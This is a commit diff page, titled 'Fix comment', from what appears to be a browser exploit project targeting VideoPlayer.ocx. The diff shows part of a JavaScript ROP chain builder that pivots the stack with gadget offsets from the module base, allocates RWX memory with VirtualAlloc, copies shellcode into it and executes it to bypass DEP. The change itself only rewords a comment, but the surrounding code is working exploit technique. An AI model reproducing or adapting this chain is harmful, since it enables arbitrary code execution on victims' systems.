Fix comment
parent
f6933ed02c
commit
414349972f
|
@ -8,14 +8,14 @@ var RopBuilder = function(informer, addresses, scLength) {
|
||||||
this.scLength = scLength;
|
this.scLength = scLength;
|
||||||
};
|
};
|
||||||
|
|
||||||
// Calculate VideoPlayer.ocx base
|
// Build the ROP chain to bypass DEP
|
||||||
RopBuilder.prototype.buildRop = function() {
|
RopBuilder.prototype.buildRop = function() {
|
||||||
// ROP chain (rets in comments are omitted)
|
// ROP chain (rets in comments are omitted)
|
||||||
// we perform:
|
// we perform:
|
||||||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
||||||
// memcpy(EAX, shellcode, shellcodeLen)
|
// memcpy(EAX, shellcode, shellcodeLen)
|
||||||
// (void(*)())EAX()
|
// (void(*)())EAX()
|
||||||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
||||||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
||||||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
||||||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
||||||
|
|
Loading…
Reference in New Issue